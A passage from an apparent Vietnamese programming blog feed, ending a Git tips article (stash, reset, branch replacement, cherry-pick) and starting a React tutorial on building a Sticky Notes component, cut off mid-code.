class="language-bash"><code class="language-bash">$ <span class="token function">git</span> merge upstream/master</code></pre></div> <p><strong>Bước 5:</strong> Push nhánh hiện tại (đã được đồng bộ với Original Repo) lên Remote</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">git</span> push origin master</code></pre></div> <p>Đến đây là bạn đã đồng bộ Git Fork với Original Repo ở nhánh master. Để đồng bộ các nhánh khác, bạn chỉ cần thay "master" trong các câu lệnh trên với tên nhánh cần đổi.</p> <h2 id="di-chuyển-sự-thay-đổi-ở-một-nhánh-sang-nhánh-khác" style="position:relative;"><a href="#di-chuy%E1%BB%83n-s%E1%BB%B1-thay-%C4%91%E1%BB%95i-%E1%BB%9F-m%E1%BB%99t-nh%C3%A1nh-sang-nh%C3%A1nh-kh%C3%A1c" aria-label="di chuyển sự thay đổi ở một nhánh sang nhánh khác permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Di chuyển sự thay đổi ở một nhánh sang nhánh khác</h2> <p><strong>Đặt vấn đề:</strong></p> <p>Giả sử bạn đang phát triển một tính năng mới. Bạn code điên đảo. Mọi thứ hoạt động đều trơn tru, tốt đẹp. Rồi bạn quyết định sẽ commit và push chúng lên Remote. Nhưng... bạn chợt nhận ra, mình đang code trong nhánh "master". Mà đang lẽ ra, bạn phải code trong nhánh "dev".</p> <p>Bây giờ phải làm sao đây?</p> <p>Bạn sẽ copy-paste phần code thay đổi ra một nơi khác. Sau đó, bạn checkout nhánh "dev" để paste phần code thay đổi vừa rồi vào. Cũng được đấy chứ? Mà làm thủ công như vậy khá mất thời gian. Thay vào đó, bạn có thể sử dụng tính năng "stash" có sẵn của Git, bằng cách làm theo các bước sau đây.</p> <p><strong>Giải pháp:</strong></p> <p><strong>Bước 1:</strong> Lưu lại toàn bộ sự thay đổi</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">git</span> stash</code></pre></div> <p><strong>Bước 2:</strong> Di chuyển sang nhánh mà bạn mong muốn, giả sử là nhánh "dev"</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">git</span> checkout dev</code></pre></div> <p><strong>Bước 3:</strong> Cập nhật sự thay đổi vào nhánh "dev"</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">git</span> stash pop</code></pre></div> <p>Xong bước này nghĩa là bạn đã thành công trong việc di chuyển sự thay đổi ở một nhánh sang nhánh khác trong Git. Bây giờ, bạn chỉ cần commit rồi push chúng lên Remote thôi hoặc làm gì đó khác mà bạn thích.</p> <h2 id="reset-lại-repo-ở-local" style="position:relative;"><a href="#reset-l%E1%BA%A1i-repo-%E1%BB%9F-local" aria-label="reset lại repo ở local permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Reset lại Repo ở Local</h2> <p><strong>Đặt vấn đề:</strong></p> <p>Giả sử bạn đang code thử nghiệm một tính năng mới. Sau một loạt các thay đổi, bạn phát hiện ra giải pháp của mình bị sai. Vì vậy, bạn muốn reset lại repo ở Local để đưa nó về trạng thái trước khi bạn thay đổi. Để thực hiện được điều này, bạn có thể thực hiện các bước sau đây.</p> <p><strong>Giải pháp:</strong></p> <p><strong>Bước 1:</strong> Lấy toàn bộ code mới nhất trên remote</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">git</span> fetch --all</code></pre></div> <p><strong>Bước 2:</strong> Reset lại Repo ở Local với nhánh mong muốn</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">git</span> reset --hard origin/master</code></pre></div> <p>Câu lệnh trên reset lại nhánh "master". Nếu bạn muốn reset lại nhánh khác thì có thể thay "master" bằng tên nhánh mong muốn.</p> <h2 id="thay-thế-code-ở-một-nhánh-bởi-code-ở-nhánh-khác-trong-git" style="position:relative;"><a href="#thay-th%E1%BA%BF-code-%E1%BB%9F-m%E1%BB%99t-nh%C3%A1nh-b%E1%BB%9Fi-code-%E1%BB%9F-nh%C3%A1nh-kh%C3%A1c-trong-git" aria-label="thay thế code ở một nhánh bởi code ở nhánh khác trong git permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thay thế code ở một nhánh bởi code ở nhánh khác trong Git</h2> <p><strong>Đặt vấn đề:</strong></p> <p>Gần đây mình có làm demo một project với Node.js và muốn deploy lên Heroku hoặc Zeit. Tuy nhiên, config để deploy app lên 2 nền tảng này hơi khác nhau một chút. Vì vậy, mình tạo ra 2 nhánh mới là <strong>deploy-heroku</strong> và <strong>deploy-zeit</strong> từ nhánh <strong>master</strong> để test. Đầu tiên, mình test với Heroku và kết quả khá tốt. Sau đó, mình quyết định hơi vội vã nên đã merge nhánh <em>deploy-heroku</em> vào nhánh master mà không test với Zeit nữa.</p> <p>Nhưng sau đó, mình phát hiện ra một số thứ bất tiện với Heroku, nên bắt đầu test thử với Zeit. Và kết quả là Zeit đã giải quyết được những điểm bất tiện trên. Bây giờ, mình muốn apply nhánh <em>deploy-zeit</em> vào master. Tuy nhiên, ở nhánh master hiện tại đang có config của Heroku rồi mà. Nếu merge bình thường thì phần config của Heroku vẫn còn hoặc là mình phải xử lý xung đột.</p> <p>Vậy tóm lại, vấn đề đặt ra là: làm sao thay thế hoàn toàn code ở nhánh master bằng code ở nhánh <em>deploy-zeit</em>?</p> <p><strong>Giải pháp:</strong></p> <p><strong>Bước 1:</strong> Đổi tên nhánh <em>master</em> thành <em>temp-master</em> và đổi tên nhánh <em>deploy-zeit</em> thành <em>master</em>.</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash"><span class="token comment"># Đổi tên nhánh master thành temp-master</span> $ <span class="token function">git</span> branch -m master temp-master <span class="token comment"># Đổi tên nhánh deploy-zeit thành master</span> $ <span class="token function">git</span> branch -m deploy-zeit master</code></pre></div> <p><strong>Bước 2:</strong> Vì nhánh master hiện tại ở local đang chứa code của nhánh <em>deploy-zeit</em>, nên mình sẽ push nhánh master này lên remote.</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash"><span class="token comment"># Force push nhánh master lên remote</span> $ <span class="token function">git</span> push origin master -f</code></pre></div> <p><strong>Bước 3:</strong> Tiếp theo, mình đổi lại tên nhánh như ban đầu trước khi thực hiện bước 1</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash"><span class="token comment"># Đổi tên nhánh master hiện tại thành deploy-zeit</span> $ <span class="token function">git</span> branch -m master deploy-zeit <span class="token comment"># Đổi tên nhánh temp-master từ bước 1 thành master</span> $ <span class="token function">git</span> branch -m temp-master master</code></pre></div> <p><strong>Bước 4:</strong> Cập nhật local master với remote master</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash"><span class="token comment"># Fetch tất cả thông tin ở remote về local repo và không merge</span> $ <span class="token function">git</span> fetch --all <span class="token comment"># Thay thế hoàn toàn local master với remote master</span> $ <span class="token function">git</span> reset --hard origin/master </code></pre></div> <p>Đến đây thì mình đã thực hiện xong việc thay thế code ở một nhánh bởi code của nhánh khác rồi.</p> <h2 id="apply-một-commit-từ-nhánh-này-sang-nhánh-khác" style="position:relative;"><a href="#apply-m%E1%BB%99t-commit-t%E1%BB%AB-nh%C3%A1nh-n%C3%A0y-sang-nh%C3%A1nh-kh%C3%A1c" aria-label="apply một commit từ nhánh này sang nhánh khác permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Apply một commit từ nhánh này sang nhánh khác</h2> <p><strong>Đặt vấn đề:</strong></p> <p>Giả sử bạn đang có 2 nhánh là: nhánh A và nhánh B. Tại nhánh B, bạn đã phát triển thêm tính năng hoặc fix một số bug quan trọng. Vì vậy, bạn muốn apply một commit nào đó mà bạn đã thực hiện ở nhánh B vào nhánh A.</p> <p>Giải pháp cho vấn đề này là: bạn sẽ thực hiện <a href="https://git-scm.com/docs/git-cherry-pick"><strong>cherry-pick</strong></a> để apply một commit từ nhánh B sang nhánh A như sau đây.</p> <p><strong>Giải pháp:</strong></p> <p><strong>Bước 1:</strong> Sử dụng <strong>git log</strong> để biết và lấy ra <strong>hash-commit</strong> ứng với commit mà bạn muốn thực hiện <em>cherry-pick</em>.</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash"><span class="token comment"># Checkout nhánh B</span> $ <span class="token function">git</span> checkout B <span class="token comment"># Hiển thị log</span> $ <span class="token function">git</span> log</code></pre></div> <p>Câu lệnh trên sẽ liệt kê ra các commit mà bạn đã thực hiện. Bạn tìm trong đó và chọn ra <em>hash-commit</em> mong muốn. Ví dụ log:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">commit 6d0b53753a795298192cbb8673b5e0d8fbaa5695 ... commit 4feaed3c967110777b1c706e91091cf90d78189f ...</code></pre></div> <p>Giả sử mình muốn thực hiện <em>cherry-pick</em> với commit có <em>hash-commit</em> là: <strong>4feaed3c967110777b1c706e91091cf90d78189f</strong>.</p> <p><strong>Bước 2:</strong> Apply commit trên vào nhánh A</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash"><span class="token comment"># Checkout nhánh A</span> $ <span class="token function">git</span> checkout A <span class="token comment"># Thực hiện cherry-pick</span> $ <span class="token function">git</span> cherry-pick 4feaed3c967110777b1c706e91091cf90d78189f</code></pre></div> <p>Đến đây là bạn đã thực hiện xong việc apply một commit từ nhánh này sang nhánh khác.</p> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là tổng hợp lại một số trường hợp với Git mà mình gặp phải và cách mình giải quyết chúng. Nếu một trong số đó đúng là trường hợp mà bạn đang cần tìm thì bạn có thể thử giải pháp của mình.</p> <p>Nếu có vấn đề gì chưa hiểu, bị lỗi hoặc gặp trường hợp nào khác chưa giải quyết được, bạn vui lòng để lại bình luận xuống phía dưới. Mình sẽ cố gắng giải đáp và cập nhật lại bài viết khi có thể.</p> <p>Ngoài ra, nếu bạn muốn nhận được thông báo ngay sau khi mình hoặc ai đó trả lời bình luận của bạn thì nhớ nhập chính xác địa chỉ Email và nhấn vào hình cái chuông ngay bên cạnh nút "Gửi bình luận" nhé!</p> <p>Xin chào và hẹn gặp lại, thân ái!</p> <p><strong>Tham khảo:</strong></p> <ul> <li><a href="https://multiplestates.wordpress.com/2015/02/05/rename-a-local-and-remote-branch-in-git/">Rename a local and remote branch in git</a></li> <li><a href="https://digitaldrummerj.me/git-syncing-fork-with-original-repo/">Sync your Git Fork to the Original Repo</a></li> <li><a href="https://www.nickang.com/replace-git-branch-code/">How to completely replace git branch code with another branch's code</a></li> <li><a href="https://kipalog.com/posts/Su-dung-git-cherry-pick">Sử dụng git cherry-pick</a></li> </ul>[email protected]<![CDATA[Học React qua ví dụ #10: Sticky Notes]]><![CDATA[Xin chào bạn đến với Học React qua ví dụ #10. Bài này mình sẽ thực hành React thông qua việc tạo Sticky Notes. Trước khi bắt đầu, mời bạn theo dõi ví dụ minh họa: Bạn thấy cái này…]]>https://completejavascript.com/hoc-react-qua-vi-du-10-sticky-notes/https://completejavascript.com/hoc-react-qua-vi-du-10-sticky-notes/<![CDATA[Create-react-app]]><![CDATA[React Component]]>Sun, 09 Dec 2018 22:30:37 GMT<p>Xin chào bạn đến với Học React qua ví dụ #10. Bài này mình sẽ thực hành React thông qua việc tạo Sticky Notes. Trước khi bắt đầu, mời bạn theo dõi ví dụ minh họa:</p> <a href="https://about.phamvanlam.com/learn-react-by-example/#/sticky-notes/" class="btn btn-primary margin-bottom"> Xem Demo </a> <p>Bạn thấy cái này quen không ạ? Nó chính là phần mềm Sticky Notes trên hệ điều hành Windows 7. Thực tế, mình đã xây dựng nó dựa trên <a href="/hoc-react-qua-vi-du-9-draggable-note/">Draggable Note</a>, bằng cách thêm chức năng tạo note mới.</p> <p>Và sau đây sẽ là cách triển khai, mời bạn theo dõi bài viết!</p> <blockquote> <p><strong>Bạn chú ý:</strong> Trong series <a href="/tag/react-component/">học React qua ví dụ</a> này, mình sẽ thực hành xây dựng các Component trên cùng một Project. Vì vậy, sẽ có những phần mình lặp lại trong các bài viết. Mục đích của mình là dù bạn có bắt đầu đọc từ bài nào (bài số 1 hay bài số N) thì bạn cũng có thể làm theo được.</p> </blockquote> <h2 id="khởi-tạo-project" style="position:relative;"><a href="#kh%E1%BB%9Fi-t%E1%BA%A1o-project" aria-label="khởi tạo project permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi tạo Project</h2> <p>Trong bài học này, mình vẫn khuyến khích bạn sử dụng <a href="/tag/create-react-app/">Create-react-app</a> để thực hành học React qua ví dụ #10 ngay trên máy tính của mình.</p> <p>Để tạo mới một project React với Creat-react-app, bạn có thể tham khảo thêm bài viết: <a href="/deploy-ung-dung-react-len-github-pages/">Tạo và deploy ứng dụng React lên Github Pages</a>.</p> <h2 id="cấu-trúc-project" style="position:relative;"><a href="#c%E1%BA%A5u-tr%C3%BAc-project" aria-label="cấu trúc project permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cấu trúc Project</h2> <p>Đầu tiên, bạn tạo ra các thư mục và file như sau (bạn chỉ cần quan tâm tới thư mục <strong>/src</strong>):</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">learn-react-by-example/ --src/ ----components/ ------sticky-notes/ --------sticky-notes.css --------sticky-notes.js ----images/ ----App.css ----App.js ----index.css ----index.js ----serviceWorker.js</code></pre></div> <p>Trong đó:</p> <ul> <li>Thư mục <strong>components</strong>: chứa code của các Component. Bài này mình thực hành về <strong>Sticky Notes</strong> nên mình tạo thêm thư mục <strong>sticky-notes</strong> bên trong với 2 file <strong>sticky-notes.js</strong> và <strong>sticky-notes.css</strong> để định nghĩa cho component <strong>Sticky Notes</strong> (bài viết sau thực hành về cái khác thì mình sẽ tạo thêm thư mục vào bên trong <strong>components</strong> như này).</li> <li>Thư mục <strong>images</strong>: để chứa tất cả những ảnh mình sử dụng cho Demo.</li> <li>Các file <strong>App.css</strong> và <strong>App.js</strong> dùng để demo chính. Bên trong <strong>App.js</strong> mình sẽ sử dụng component <strong>Sticky Notes</strong> ở trên.</li> <li>Các file <strong>index.css, index.js và serviceWorker.js</strong> thì <strong>KHÔNG THAY ĐỔI</strong> với mọi bài thực hành.</li> </ul> <h2 id="xây-dựng-sticky-note-component" style="position:relative;"><a href="#x%C3%A2y-d%E1%BB%B1ng-sticky-note-component" aria-label="xây dựng sticky note component permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xây dựng Sticky Note Component</h2> <h3 id="nội-dung-file-sticky-notejs" style="position:relative;"><a href="#n%E1%BB%99i-dung-file-sticky-notejs" aria-label="nội dung file sticky notejs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nội dung file sticky-note.js</h3> <p>Trong phần này bạn cần phải chú ý đến một số kiến thức như:</p> <ul> <li><a href="https://reactjs.org/docs/fragments.html">React.Fragment</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Event/stopPropagation">Event.stopPropagation()</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax">Spread syntax</a></li> </ul> <p>Về nội dung chi tiết mình sẽ giải thích trong phần comment code dưới đây. Bạn chịu khó đọc nhé! Có phần nào chưa hiểu thì có thể để lại bình luận phía dưới.</p> <div class="gatsby-code-title gatsby-remark-code-title">sticky-note.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token string">"./sticky-notes.css"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> DraggableNote <span class="token keyword">from</span> <span class="token string">"../draggable-note/draggable-note"</span><span class="token punctuation">;</span> <span class="token comment">/** * Xác định vị trí top, left của 1 element so với document * Tham khảo: https://bit.ly/2qBz4KK */</span> <span class="token keyword">function</span> <span class="token function">getOffset</span><span class="token punctuation">(</span><span class="token parameter">el</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> rect <span class="token operator">=</span> el<span class="token punctuation">.</span><span class="token function">getBoundingClientRect</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> scrollLeft <span class="token operator">=</span> window<span class="token punctuation">.</span>pageXOffset <span class="token operator">||</span> document<span class="token punctuation">.</span>documentElement<span class="token punctuation">.</span>scrollLeft<span class="token punctuation">,</span> scrollTop <span class="token operator">=</span> window<span class="token punctuation">.</span>pageYOffset <span class="token operator">||</span> document<span class="token punctuation">.</span>documentElement<span class="token punctuation">.</span>scrollTop<span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token punctuation">{</span> <span class="token literal-property property">top</span><span class="token operator">:</span> rect<span class="token punctuation">.</span>top <span class="token operator">+</span> scrollTop<span class="token punctuation">,</span> <span class="token literal-property property">left</span><span class="token operator">:</span> rect<span class="token punctuation">.</span>left <span class="token operator">+</span> scrollLeft <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token keyword">class</span> <span class="token class-name">StickyNotes</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">props</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">super</span><span class="token punctuation">(</span>props<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Giá trị khởi tạo cho state của mỗi note</span> <span class="token keyword">this</span><span class="token punctuation">.</span>initialStateForEachNote <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>title <span class="token operator">||</span> <span class="token string">"Click here to move"</span><span class="token punctuation">,</span> <span class="token literal-property property">width</span><span class="token operator">:</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>width <span class="token operator">||</span> <span class="token number">300</span><span class="token punctuation">,</span> <span class="token literal-property property">height</span><span class="token operator">:</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>height <span class="token operator">||</span> <span class="token number">300</span><span class="token punctuation">,</span> <span class="token literal-property property">top</span><span class="token operator">:</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>top <span class="token operator">||</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token literal-property property">left</span><span class="token operator">:</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>left <span class="token operator">||</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token literal-property property">content</span><span class="token operator">:</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>content <span class="token operator">||</span> <span class="token string">""</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">/** * Biến đếm - đại diện cho id của mỗi note thêm vào, * biến này sẽ tăng dần 1 đơn vị mỗi khi thêm một note */</span> <span class="token keyword">this</span><span class="token punctuation">.</span>count <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token comment">/** * khởi tạo state cho Component, với: * + activeId: là giá trị id của note đang được active * + notes: là mảng lưu lại thông tin của các note */</span> <span class="token keyword">this</span><span class="token punctuation">.</span>state <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">activeId</span><span class="token operator">:</span> <span class="token keyword">this</span><span class="token punctuation">.</span>count<span class="token punctuation">,</span> <span class="token literal-property property">notes</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">initNoteData</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>initNoteData <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">initNoteData</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>onAddNote <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">onAddNote</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>onRemoveNote <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">onRemoveNote</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>makeActive <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">makeActive</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>handleDataChange <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">handleDataChange</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Khởi tạo thông tin cho mỗi note mới được tạo lên, * với offset là thông tin về vị trí của note hiện tại * * Mình dựa vào đó để tính vị trí của note mới thêm vào. */</span> <span class="token function">initNoteData</span><span class="token punctuation">(</span><span class="token parameter">offset</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// mỗi lần tạo một note mới thì this.count++</span> <span class="token keyword">const</span> noteData <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token operator">...</span><span class="token keyword">this</span><span class="token punctuation">.</span>initialStateForEachNote<span class="token punctuation">,</span> <span class="token literal-property property">id</span><span class="token operator">:</span> <span class="token keyword">this</span><span class="token punctuation">.</span>count<span class="token operator">++</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>offset<span class="token punctuation">)</span> <span class="token punctuation">{</span> noteData<span class="token punctuation">.</span>top <span class="token operator">=</span> offset<span class="token punctuation">.</span>top <span class="token operator">+</span> <span class="token number">20</span><span class="token punctuation">;</span> noteData<span class="token punctuation">.</span>left <span class="token operator">=</span> offset<span class="token punctuation">.</span>left <span class="token operator">+</span> <span class="token number">20</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> noteData<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Xử lý event khi người dùng click vào dấu cộng (+) để thêm note */</span> <span class="token function">onAddNote</span><span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">/** * Dừng việc lan truyền event, đảm bảo khi click vào dấu cộng (+) * để thêm note mới thì chỉ hàm này được gọi, không lan truyền đến hàm khác */</span> event<span class="token punctuation">.</span><span class="token function">stopPropagation</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 